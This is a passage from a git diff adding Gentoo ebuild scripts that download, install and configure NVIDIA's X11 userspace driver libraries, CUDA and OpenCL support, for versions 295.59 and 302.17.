+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-295.59.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-295.59.ebuild
new file mode 100644
index 00000000..301d8462
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-295.59.ebuild
@@ -0,0 +1,453 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libvdpau_nvidia.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-302.17.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-302.17.ebuild
new file mode 100644
index 00000000..301d8462
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-302.17.ebuild
@@ -0,0 +1,453 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libvdpau_nvidia.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
